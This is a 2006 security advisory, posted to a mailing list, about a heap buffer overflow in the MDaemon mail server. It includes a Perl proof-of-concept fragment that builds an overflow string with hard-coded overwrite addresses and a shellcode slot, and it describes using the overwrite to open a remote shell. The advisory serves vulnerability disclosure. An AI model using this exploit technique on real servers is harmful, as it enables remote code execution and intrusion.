[NT] MDaemon Buffer Overflow

SecuriTeam <[email protected]> 29 May 2006 16:37:13 +0200
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
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  MDaemon Buffer Overflow
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SUMMARY

" <http://www.altn.com/> Alt-N Technologies MDaemon provides a complete 
suite of secure and standards-compliant messaging and collaborative 
capabilities."

Improper handling of user input allows attackers to execute arbitrary code 
or crash MDaemon.

DETAILS

An heap based buffer overflow was found in Mdaemon that can be triggered 
by sending specially crafted input.

Proof of Concept:
 $where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
 #$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
 $what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A
 
 $nops = "A" x 100;
 $a = $nops . $shellcode . ("Z" x
(0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x
(0x184AC - 0x200A - 12));
 print $sock "a001 \"$a\r\n";
 close($sock);

The trigger is made  by sending the following attack string:
a001 "[X]\r\n

[X] consists of f.e. 99555 Z's to reach the 4 byte overwrite.
Attackers can use the 4 byte to overwrite the PEB pointer in order to open 
a remote shell for example.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> kcope .



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